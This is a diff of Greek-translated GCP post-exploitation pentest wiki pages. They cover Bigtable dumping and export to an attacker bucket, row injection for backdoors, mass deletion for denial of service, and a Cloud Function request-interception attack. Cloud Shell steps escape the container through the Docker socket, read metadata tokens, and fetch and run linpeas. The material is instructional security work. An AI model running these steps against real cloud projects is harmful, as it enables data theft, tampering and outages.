+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
@@ -4,7 +4,7 @@
## `App Engine`
-Για πληροφορίες σχετικά με το App Engine ελέγξτε:
+For information about App Engine check:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,30 +12,36 @@
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
-Με αυτές τις άδειες είναι δυνατή:
+With these permissions it's possible to:
-- Η προσθήκη ενός κλειδιού
-- Η λίστα κλειδιών
-- Η λήψη ενός κλειδιού
-- Η διαγραφή
+- Προσθήκη key
+- Λίστα keys
+- Λήψη key
+- Διαγραφή
> [!CAUTION]
-> Ωστόσο, **δεν μπόρεσα να βρω κανέναν τρόπο να αποκτήσω πρόσβαση σε αυτές τις πληροφορίες από το cli**, μόνο από την **ιστοσελίδα** όπου πρέπει να γνωρίζετε τον **τύπο κλειδιού** και το **όνομα κλειδιού**, ή από την **εφαρμογή που εκτελείται στο app engine**.
+> Ωστόσο, **δεν μπόρεσα να βρω κάποιον τρόπο να αποκτήσω πρόσβαση σε αυτές τις πληροφορίες από το cli**, μόνο από την **web console** όπου πρέπει να γνωρίζετε τον **Key type** και το **Key name**, ή από την a**pp engine running app**.
>
-> Αν γνωρίζετε ευκολότερους τρόπους για να χρησιμοποιήσετε αυτές τις άδειες, στείλτε ένα Pull Request!
+> Αν γνωρίζετε ευκολότερους τρόπους να χρησιμοποιήσετε αυτά τα permissions, στείλτε ένα Pull Request!
### `logging.views.access`
-Με αυτή την άδεια είναι δυνατή η **θέαση των καταγραφών της Εφαρμογής**:
+With this permission it's possible to **see the logs of the App**:
+
+
+
+Tail app logs
```bash
gcloud app logs tail -s
```
-### Διαβάστε τον Πηγαίο Κώδικα
+
-Ο πηγαίος κώδικας όλων των εκδόσεων και υπηρεσιών είναι **αποθηκευμένος στον κάδο** με το όνομα **`staging..appspot.com`**. Αν έχετε δικαιώματα εγγραφής σε αυτόν, μπορείτε να διαβάσετε τον πηγαίο κώδικα και να αναζητήσετε **ευπάθειες** και **ευαίσθητες πληροφορίες**.
+### Ανάγνωση πηγαίου κώδικα
-### Τροποποιήστε τον Πηγαίο Κώδικα
+Ο πηγαίος κώδικας όλων των εκδόσεων και υπηρεσιών είναι **αποθηκευμένος στον bucket** με το όνομα **`staging..appspot.com`**. Εάν έχετε δικαιώματα εγγραφής σε αυτό μπορείτε να διαβάσετε τον πηγαίο κώδικα και να αναζητήσετε **ευπάθειες** και **ευαίσθητες πληροφορίες**.
-Τροποποιήστε τον πηγαίο κώδικα για να κλέψετε διαπιστευτήρια αν αποστέλλονται ή να εκτελέσετε μια επίθεση παραποίησης ιστοσελίδας.
+### Τροποποίηση πηγαίου κώδικα
+
+Τροποποιήστε τον πηγαίο κώδικα για να κλέψετε διαπιστευτήρια εάν αποστέλλονται ή να πραγματοποιήσετε επίθεση defacement σε έναν ιστότοπο.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md
index 6323eaf13..58bc0c096 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md
@@ -11,30 +11,46 @@
{{#endref}}
> [!TIP]
-> Εγκαταστήστε το `cbt` CLI μία φορά μέσω του Cloud SDK ώστε οι εντολές παρακάτω να λειτουργούν τοπικά:
+> Εγκαταστήστε το `cbt` CLI μία φορά μέσω του Cloud SDK ώστε οι παρακάτω εντολές να λειτουργούν τοπικά:
+>
+>
+>
+> Εγκαταστήστε το cbt CLI
>
> ```bash
> gcloud components install cbt
> ```
+>
+>
### Ανάγνωση γραμμών
**Δικαιώματα:** `bigtable.tables.readRows`
-`cbt` συνοδεύεται από το Cloud SDK και επικοινωνεί με τα admin/data APIs χωρίς να χρειάζεται ενδιάμεσο λογισμικό. Δείξτε το στο συμβιβασμένο project/instance και εξάγετε τις γραμμές απευθείας από τον πίνακα. Περιορίστε τη σάρωση αν θέλετε μόνο μια γρήγορη ματιά.
+`cbt` συμπεριλαμβάνεται στο Cloud SDK και επικοινωνεί με τα admin/data APIs χωρίς να χρειάζεται μεσολαβητικό λογισμικό. Κατευθύνετέ το στο compromised project/instance και dump τις γραμμές απευθείας από τον πίνακα. Περιορίστε το scan αν χρειάζεστε μόνο μια ματιά.
+
+
+
+Ανάγνωση εγγραφών Bigtable
```bash
# Install cbt
gcloud components update
gcloud components install cbt
-# Read entries with creds of gcloud
+# Read entries with creds of gcloud
cbt -project= -instance= read
```
-### Εγγραφή σειρών
+
+
+### Εγγραφή γραμμών
**Δικαιώματα:** `bigtable.tables.mutateRows`, (θα χρειαστείτε `bigtable.tables.readRows` για να επιβεβαιώσετε την αλλαγή).
-Χρησιμοποιήστε το ίδιο εργαλείο για να upsert arbitrary cells. Αυτός είναι ο ταχύτερος τρόπος για να backdoor configs, drop web shells, ή να plant poisoned dataset rows.
+Χρησιμοποιήστε το ίδιο εργαλείο για να upsert αυθαίρετα κελιά. Αυτός είναι ο ταχύτερος τρόπος για να backdoor configs, drop web shells, ή plant poisoned dataset rows.
+
+
+
+Inject malicious row
```bash
# Inject a new row
cbt -project= -instance= set
:=
@@ -44,16 +60,22 @@ cbt -project= -instance= set user#1337 prof
# Verify the injected row
cbt -project= -instance= read rows=user#1337
```
-`cbt set` αποδέχεται raw bytes μέσω της σύνταξης `@/path`, οπότε μπορείτε να push compiled payloads ή serialized protobufs ακριβώς όπως τα αναμένουν οι downstream services.
+
+
+`cbt set` δέχεται raw bytes μέσω της σύνταξης `@/path`, οπότε μπορείτε να μεταφέρετε compiled payloads ή serialized protobufs ακριβώς όπως τα περιμένουν οι downstream services.
### Εξαγωγή γραμμών στο bucket σας
**Δικαιώματα:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
-Είναι δυνατόν να εξαχθεί το περιεχόμενο ενός ολόκληρου πίνακα σε ένα bucket που ελέγχεται από τον επιτιθέμενο, εκκινώντας μια εργασία Dataflow που γράφει τις γραμμές σε ένα GCS bucket που ελέγχετε.
+Είναι δυνατό να exfiltrate τα περιεχόμενα ολόκληρου πίνακα σε ένα bucket που ελέγχεται από τον attacker, εκκινώντας μια Dataflow job που streamάρει τις γραμμές σε ένα GCS bucket που έχετε υπό έλεγχο.
> [!NOTE]
-> Σημειώστε ότι θα χρειαστείτε την άδεια `iam.serviceAccounts.actAs` σε κάποιο SA με επαρκή δικαιώματα για να πραγματοποιήσει την εξαγωγή (εξ ορισμού, αν δεν υποδειχθεί διαφορετικά, θα χρησιμοποιηθεί το προεπιλεγμένο compute SA).
+> Σημειώστε ότι θα χρειαστείτε το δικαίωμα `iam.serviceAccounts.actAs` πάνω σε κάποιο SA με επαρκή δικαιώματα για να πραγματοποιηθεί η εξαγωγή (εξ ορισμού, αν δεν αναφέρεται διαφορετικά, θα χρησιμοποιηθεί το default compute SA).
+
+
+
+Εξαγωγή Bigtable σε GCS bucket
```bash
gcloud dataflow jobs run \
--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
+
+
> [!NOTE]
-> Αλλάξτε το template σε `Cloud_Bigtable_to_GCS_Parquet` ή `Cloud_Bigtable_to_GCS_SequenceFile` αν θέλετε εξαγωγές σε Parquet/SequenceFile αντί για JSON. Οι άδειες είναι οι ίδιες· αλλάζει μόνο το path του template.
+> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
-### Εισαγωγή γραμμών
+### Εισαγωγή σειρών
-**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
+**Δικαιώματα:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
-Είναι δυνατό να εισαχθεί το περιεχόμενο ολόκληρου ενός table από ένα bucket που ελέγχει ο attacker, εκκινούμενος μια Dataflow job που μεταφέρει (streams) γραμμές σε ένα GCS bucket που ελέγχετε. Για αυτό, ο attacker θα χρειαστεί πρώτα να δημιουργήσει ένα parquet file με τα δεδομένα που θα εισαχθούν και το αναμενόμενο schema. Ο attacker μπορεί πρώτα να εξαγάγει τα δεδομένα σε μορφή parquet ακολουθώντας την προηγούμενη τεχνική με τη ρύθμιση `Cloud_Bigtable_to_GCS_Parquet` και να προσθέσει νέες εγγραφές στο κατεβασμένο parquet file
+Είναι δυνατόν να εισαχθούν τα περιεχόμενα ενός ολόκληρου πίνακα από ένα bucket που ελέγχεται από τον επιτιθέμενο, εκκινώντας μια εργασία Dataflow που στέλνει σειρές σε ένα GCS bucket που ελέγχετε. Για αυτό ο επιτιθέμενος θα χρειαστεί πρώτα να δημιουργήσει ένα parquet αρχείο με τα δεδομένα που θα εισαχθούν με το αναμενόμενο σχήμα. Ένας επιτιθέμενος θα μπορούσε πρώτα να εξάγει τα δεδομένα σε μορφή parquet ακολουθώντας την προηγούμενη τεχνική με τη ρύθμιση `Cloud_Bigtable_to_GCS_Parquet` και να προσθέσει νέες εγγραφές στο κατεβασμένο parquet αρχείο.
> [!NOTE]
-> Σημειώστε ότι θα χρειαστείτε την άδεια `iam.serviceAccounts.actAs` πάνω σε κάποιο SA με επαρκή permissions για να εκτελέσει την εξαγωγή (by default, αν δεν υποδειχθεί διαφορετικά, το default compute SA θα χρησιμοποιηθεί).
+> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
+
+
+
+Εισαγωγή από GCS bucket σε Bigtable
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region= \
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
-### Επαναφορά backups
+
+
+### Επαναφορά αντιγράφων ασφαλείας
**Δικαιώματα:** `bigtable.backups.restore`, `bigtable.tables.create`.
-Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να επαναφέρει ένα backup σε νέο πίνακα υπό τον έλεγχό του, ώστε να ανακτήσει παλιά ευαίσθητα δεδομένα.
+Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να επαναφέρει ένα αντίγραφο ασφαλείας σε νέο πίνακα υπό τον έλεγχό του, ώστε να ανακτήσει παλιά ευαίσθητα δεδομένα.
+
+
+
+Επαναφορά backup του Bigtable
```bash
gcloud bigtable backups list --instance= \
--cluster=
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
--destination-instance= \
--project=
```
-### Ανάκτηση διαγραμμένων πινάκων
+
+
+### Επαναφορά διαγραμμένων πινάκων
**Δικαιώματα:** `bigtable.tables.undelete`
-Το Bigtable υποστηρίζει soft-deletion με χρονικό περιθώριο χάριτος (συνήθως 7 ημέρες από προεπιλογή). Εντός αυτού του παραθύρου, ένας attacker με το δικαίωμα `bigtable.tables.undelete` μπορεί να επαναφέρει έναν πρόσφατα διαγραμμένο πίνακα και να ανακτήσει όλα τα δεδομένα του, ενδεχομένως αποκτώντας πρόσβαση σε ευαίσθητες πληροφορίες που θεωρούνταν κατεστραμμένες.
+Το Bigtable υποστηρίζει soft-deletion με μια περίοδο χάριτος (συνήθως 7 ημέρες από προεπιλογή). Κατά τη διάρκεια αυτού του διαστήματος, ένας attacker με το δικαίωμα `bigtable.tables.undelete` μπορεί να επαναφέρει έναν πρόσφατα διαγραμμένο πίνακα και να ανακτήσει όλα τα δεδομένα του, ενδεχομένως αποκτώντας πρόσβαση σε ευαίσθητες πληροφορίες που θεωρούνταν καταστραμμένες.
Αυτό είναι ιδιαίτερα χρήσιμο για:
-- Ανάκτηση δεδομένων από πίνακες που διαγράφηκαν από defenders κατά την incident response
+- Ανάκτηση δεδομένων από πίνακες που διαγράφηκαν από defenders κατά τη διάρκεια του incident response
- Πρόσβαση σε ιστορικά δεδομένα που εκκαθαρίστηκαν σκόπιμα
-- Αναστροφή τυχαίων ή κακόβουλων διαγραφών για διατήρηση persistence
+- Αντιστροφή τυχαίων ή κακόβουλων διαγραφών για τη διατήρηση της persistence
+
+
+
+Επαναφορά διαγραμμένου πίνακα Bigtable
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance= \
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance= \
gcloud bigtable instances tables undelete \
--instance=
```
+
+
> [!NOTE]
-> Η λειτουργία undelete λειτουργεί μόνο εντός της ρυθμισμένης περιόδου διατήρησης (προεπιλογή 7 ημέρες). Αφού λήξει αυτό το διάστημα, ο πίνακας και τα δεδομένα του διαγράφονται οριστικά και δεν μπορούν να ανακτηθούν με αυτή τη μέθοδο.
+> Η λειτουργία undelete λειτουργεί μόνο εντός της ρυθμισμένης περιόδου διατήρησης (προεπιλογή 7 ημερών). Αφού λήξει αυτό το διάστημα, ο πίνακας και τα δεδομένα του διαγράφονται οριστικά και δεν μπορούν να ανακτηθούν με αυτήν τη μέθοδο.
-### Δημιουργία εξουσιοδοτημένων προβολών
+### Δημιουργία Authorized Views
**Δικαιώματα:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
-Οι εξουσιοδοτημένες προβολές σάς επιτρέπουν να παρουσιάζετε ένα επιλεγμένο υποσύνολο του πίνακα. Αντί να τηρείτε την αρχή του ελάχιστου προνομίου, χρησιμοποιήστε τες για να δημοσιεύσετε ακριβώς τα ευαίσθητα σύνολα στηλών/σειρών που σας ενδιαφέρουν και να προσθέσετε στη λευκή λίστα τη δική σας principal.
+Authorized views σας επιτρέπουν να παρουσιάσετε ένα επιλεγμένο υποσύνολο του πίνακα. Αντί να τηρείτε την αρχή του ελάχιστου προνομίου, χρησιμοποιήστε τα για να δημοσιεύσετε **ακριβώς τα ευαίσθητα σύνολα στηλών/γραμμών** που σας ενδιαφέρουν και να βάλετε whitelist τον δικό σας principal.
> [!WARNING]
-> Το θέμα είναι ότι για να δημιουργήσετε μια εξουσιοδοτημένη προβολή πρέπει επίσης να μπορείτε να διαβάζετε και να τροποποιείτε σειρές στον βασικό πίνακα, επομένως δεν αποκτάτε κανένα επιπλέον δικαίωμα — για αυτό η τεχνική αυτή είναι στην πράξη σχεδόν άχρηστη.
+> Το θέμα είναι ότι για να δημιουργήσετε ένα authorized view χρειάζεται επίσης να μπορείτε να διαβάσετε και να τροποποιήσετε γραμμές στον βασικό πίνακα, επομένως δεν αποκτάτε κανένα επιπλέον δικαίωμα, γι' αυτό αυτή η τεχνική είναι κατά κύριο λόγο άχρηστη.
+
+
+
+Δημιουργία authorized view
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance= --table= \
--member='user:' --role='roles/bigtable.reader'
```
-Επειδή η πρόσβαση περιορίζεται στην προβολή, οι υπεύθυνοι ασφάλειας συχνά παραβλέπουν το γεγονός ότι μόλις δημιουργήσατε ένα νέο endpoint υψηλής ευαισθησίας.
+
+
+Επειδή η πρόσβαση περιορίζεται στην προβολή, οι αμυνόμενοι συχνά παραβλέπουν το γεγονός ότι μόλις δημιουργήσατε ένα νέο endpoint υψηλής ευαισθησίας.
### Ανάγνωση Authorized Views
**Δικαιώματα:** `bigtable.authorizedViews.readRows`
-Εάν έχετε πρόσβαση σε ένα Authorized View, μπορείτε να διαβάσετε δεδομένα από αυτό χρησιμοποιώντας τις βιβλιοθήκες πελάτη του Bigtable, καθορίζοντας το όνομα του Authorized View στα αιτήματα ανάγνωσής σας. Σημειώστε ότι το Authorized View πιθανόν θα περιορίζει τι μπορείτε να προσπελάσετε από τον πίνακα. Παρακάτω υπάρχει ένα παράδειγμα χρησιμοποιώντας Python:
+Εάν έχετε πρόσβαση σε Authorized View, μπορείτε να διαβάσετε δεδομένα από αυτό χρησιμοποιώντας τις Bigtable client libraries, καθορίζοντας το όνομα του authorized view στις αιτήσεις ανάγνωσής σας. Σημειώστε ότι το authorized view πιθανότατα θα περιορίζει τι μπορείτε να προσπελάσετε από τον πίνακα. Παρακάτω υπάρχει ένα παράδειγμα σε Python:
+
+
+
+Ανάγνωση από authorized view (Python)
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
-### Denial of Service via Delete Operations
+
-**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
+### Άρνηση υπηρεσίας μέσω λειτουργιών διαγραφής
-Οποιαδήποτε από τις δικαιοδοσίες διαγραφής του Bigtable μπορεί να χρησιμοποιηθεί για επιθέσεις denial of service. Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να διαταράξει τις λειτουργίες διαγράφοντας κρίσιμους πόρους του Bigtable:
+**Δικαιώματα:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
-- **`bigtable.appProfiles.delete`**: Διαγραφή application profiles, διακόπτοντας τις συνδέσεις πελατών και τις ρυθμίσεις δρομολόγησης
-- **`bigtable.authorizedViews.delete`**: Αφαίρεση authorized views, αποκόπτοντας νόμιμες οδούς πρόσβασης για εφαρμογές
-- **`bigtable.authorizedViews.deleteTagBinding`**: Αφαίρεση tag bindings από τα authorized views
-- **`bigtable.backups.delete`**: Καταστροφή backup snapshots, εξαλείφοντας τις επιλογές disaster recovery
+Οποιοδήποτε από τα δικαιώματα διαγραφής του Bigtable μπορεί να εκμεταλλευτεί για επιθέσεις άρνησης υπηρεσίας. Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να διαταράξει τις λειτουργίες διαγράφοντας κρίσιμους πόρους του Bigtable:
+
+- **`bigtable.appProfiles.delete`**: Διαγραφή προφίλ εφαρμογών, διακόπτοντας συνδέσεις πελατών και ρυθμίσεις δρομολόγησης
+- **`bigtable.authorizedViews.delete`**: Αφαίρεση εξουσιοδοτημένων προβολών, αποκόπτοντας νόμιμους δρόμους πρόσβασης για εφαρμογές
+- **`bigtable.authorizedViews.deleteTagBinding`**: Αφαίρεση δεσμών ετικετών από εξουσιοδοτημένες προβολές
+- **`bigtable.backups.delete`**: Καταστροφή στιγμιότυπων αντιγράφων ασφαλείας, εξαλείφοντας τις επιλογές ανάκαμψης από καταστροφή
- **`bigtable.clusters.delete`**: Διαγραφή ολόκληρων clusters, προκαλώντας άμεση μη διαθεσιμότητα δεδομένων
-- **`bigtable.instances.delete`**: Αφαίρεση ολόκληρων Bigtable instances, διαγράφοντας όλους τους πίνακες και τις ρυθμίσεις
-- **`bigtable.tables.delete`**: Διαγραφή μεμονωμένων tables, προκαλώντας απώλεια δεδομένων και αποτυχίες εφαρμογών
+- **`bigtable.instances.delete`**: Αφαίρεση ολόκληρων instances του Bigtable, διαγράφοντας όλους τους πίνακες και τις ρυθμίσεις
+- **`bigtable.tables.delete`**: Διαγραφή μεμονωμένων tables, προκαλώντας απώλεια δεδομένων και αστοχίες εφαρμογών
+
+
+
+Διαγραφή πόρων Bigtable
```bash
# Delete a table
gcloud bigtable instances tables delete \
@@ -246,6 +304,8 @@ gcloud bigtable clusters delete \
# Delete an entire instance
gcloud bigtable instances delete
```
+
+
> [!WARNING]
> Οι ενέργειες διαγραφής είναι συχνά άμεσες και μη αναστρέψιμες. Βεβαιωθείτε ότι υπάρχουν αντίγραφα ασφαλείας πριν δοκιμάσετε αυτές τις εντολές, καθώς μπορούν να προκαλέσουν μόνιμη απώλεια δεδομένων και σοβαρή διακοπή υπηρεσίας.
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
index 7801b29b4..c9058e95b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud Build
-Για περισσότερες πληροφορίες σχετικά με το Cloud Build, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Cloud Build δείτε:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,7 +12,11 @@
### `cloudbuild.builds.approve`
-Με αυτή την άδεια μπορείτε να εγκρίνετε την εκτέλεση ενός **codebuild που απαιτεί εγκρίσεις**.
+Με αυτήν την άδεια μπορείτε να εγκρίνετε την εκτέλεση ενός **codebuild που απαιτεί εγκρίσεις**.
+
+
+
+Έγκριση εκτέλεσης Cloud Build
```bash
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
curl -X POST \
@@ -24,4 +28,6 @@ object (ApprovalResult)
}}' \
"https://cloudbuild.googleapis.com/v1/projects//locations//builds/:approve"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
index e484e14e2..f76f28d29 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud Functions
-Βρείτε κάποιες πληροφορίες σχετικά με τις Cloud Functions στο:
+Βρείτε πληροφορίες για το Cloud Functions στο:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,20 +12,30 @@
### `cloudfunctions.functions.sourceCodeGet`
-Με αυτή την άδεια μπορείτε να αποκτήσετε ένα **υπογεγραμμένο URL για να μπορέσετε να κατεβάσετε τον πηγαίο κώδικα** της Cloud Function:
+Με αυτήν την άδεια μπορείτε να λάβετε ένα **υπογεγραμμένο URL για να κατεβάσετε τον πηγαίο κώδικα** της Cloud Function:
+
+
+
+Λάβετε υπογεγραμμένο URL για λήψη πηγαίου κώδικα
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
-### Κλοπή Αιτημάτων Cloud Function
+
-Εάν η Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που στέλνουν οι χρήστες (π.χ. κωδικούς πρόσβασης ή tokens), με αρκετά δικαιώματα θα μπορούσατε να **τροποποιήσετε τον πηγαίο κώδικα της λειτουργίας και να εξάγετε** αυτές τις πληροφορίες.
+### Υποκλοπή αιτημάτων Cloud Function
-Επιπλέον, οι Cloud Functions που τρέχουν σε python χρησιμοποιούν **flask** για να εκθέσουν τον web server, αν βρείτε κά somehow μια ευπάθεια εισαγωγής κώδικα μέσα στη διαδικασία flaks (μια ευπάθεια SSTI για παράδειγμα), είναι δυνατόν να **αντικαταστήσετε τον χειριστή της λειτουργίας** που θα λάβει τα HTTP αιτήματα με μια **κακόβουλη λειτουργία** που μπορεί να **εξάγει το αίτημα** πριν το περάσει στον νόμιμο χειριστή.
+Εάν η Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που στέλνουν οι χρήστες (π.χ. passwords ή tokens), με επαρκή προνόμια μπορείτε να **modify the source code of the function and exfiltrate** αυτές τις πληροφορίες.
-Για παράδειγμα, αυτός ο κώδικας υλοποιεί την επίθεση:
+Επιπλέον, οι Cloud Functions που τρέχουν σε python χρησιμοποιούν **flask** για να εκθέσουν τον web server, αν με κάποιο τρόπο βρείτε μια ευπάθεια code injection μέσα στη flaks process (π.χ. μια SSTI ευπάθεια), είναι δυνατό να **override the function handler** που θα λαμβάνει τα HTTP requests για μια **malicious function** που μπορεί να **exfiltrate the request** πριν τα περάσει στον νόμιμο handler.
+
+Για παράδειγμα αυτό το code υλοποιεί την attack:
+
+
+
+Υποκλοπή αιτημάτων Cloud Function (Python injection)
```python
import functions_framework
@@ -122,4 +132,8 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
+
+
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
index e7706b7b0..e011651b7 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud Shell
-Για περισσότερες πληροφορίες σχετικά με το Cloud Shell, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Cloud Shell δείτε:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
@@ -12,22 +12,38 @@
### Container Escape
-Σημειώστε ότι το Google Cloud Shell εκτελείται μέσα σε ένα κοντέινερ, μπορείτε **εύκολα να διαφύγετε στον κεντρικό υπολογιστή** κάνοντας:
+Σημειώστε ότι το Google Cloud Shell τρέχει μέσα σε ένα container, μπορείτε **easily escape to the host** κάνοντας:
+
+
+
+Container escape commands
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
-Αυτό δεν θεωρείται ευπάθεια από την Google, αλλά σας δίνει μια ευρύτερη εικόνα του τι συμβαίνει σε αυτό το περιβάλλον.
+
-Επιπλέον, παρατηρήστε ότι από τον κεντρικό υπολογιστή μπορείτε να βρείτε ένα διακριτικό λογαριασμού υπηρεσίας:
+Αυτό δεν θεωρείται ευπάθεια από την google, αλλά σου δίνει μια ευρύτερη εικόνα του τι συμβαίνει σε εκείνο το env.
+
+Επιπλέον, σημείωσε ότι από τον host μπορείς να βρεις ένα service account token:
+
+
+
+Λήψη service account από metadata
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
-Με τους ακόλουθους τομείς:
+
+
+Με τα ακόλουθα scopes:
+
+
+
+Λήψη scopes του service account
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
-Καταγράψτε τα μεταδεδομένα με το LinPEAS:
+
+
+Απαρίθμηση μεταδεδομένων με LinPEAS:
+
+
+
+Απαρίθμηση μεταδεδομένων με LinPEAS
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
+
+
Μετά τη χρήση [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) με το token του Service Account **δεν ανακαλύφθηκε καμία άδεια**...
-### Χρησιμοποιήστε το ως Proxy
+### Χρησιμοποίησέ το ως Proxy
-Αν θέλετε να χρησιμοποιήσετε την instance του google cloud shell σας ως proxy, πρέπει να εκτελέσετε τις παρακάτω εντολές (ή να τις εισάγετε στο αρχείο .bashrc):
+Αν θέλεις να χρησιμοποιήσεις το google cloud shell instance σου ως proxy πρέπει να εκτελέσεις τις ακόλουθες εντολές (ή να τις εισάγεις στο αρχείο .bashrc):
+
+
+
+Install Squid proxy
```bash
sudo apt install -y squid
```
-Απλώς για να σας ενημερώσω, το Squid είναι ένας διακομιστής μεσολάβησης http. Δημιουργήστε ένα αρχείο **squid.conf** με τις παρακάτω ρυθμίσεις:
+
+
+Για την ενημέρωσή σας, το Squid είναι ένας http proxy server. Δημιουργήστε ένα αρχείο **squid.conf** με τις ακόλουθες ρυθμίσεις:
+
+
+
+Δημιουργήστε το αρχείο squid.conf
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
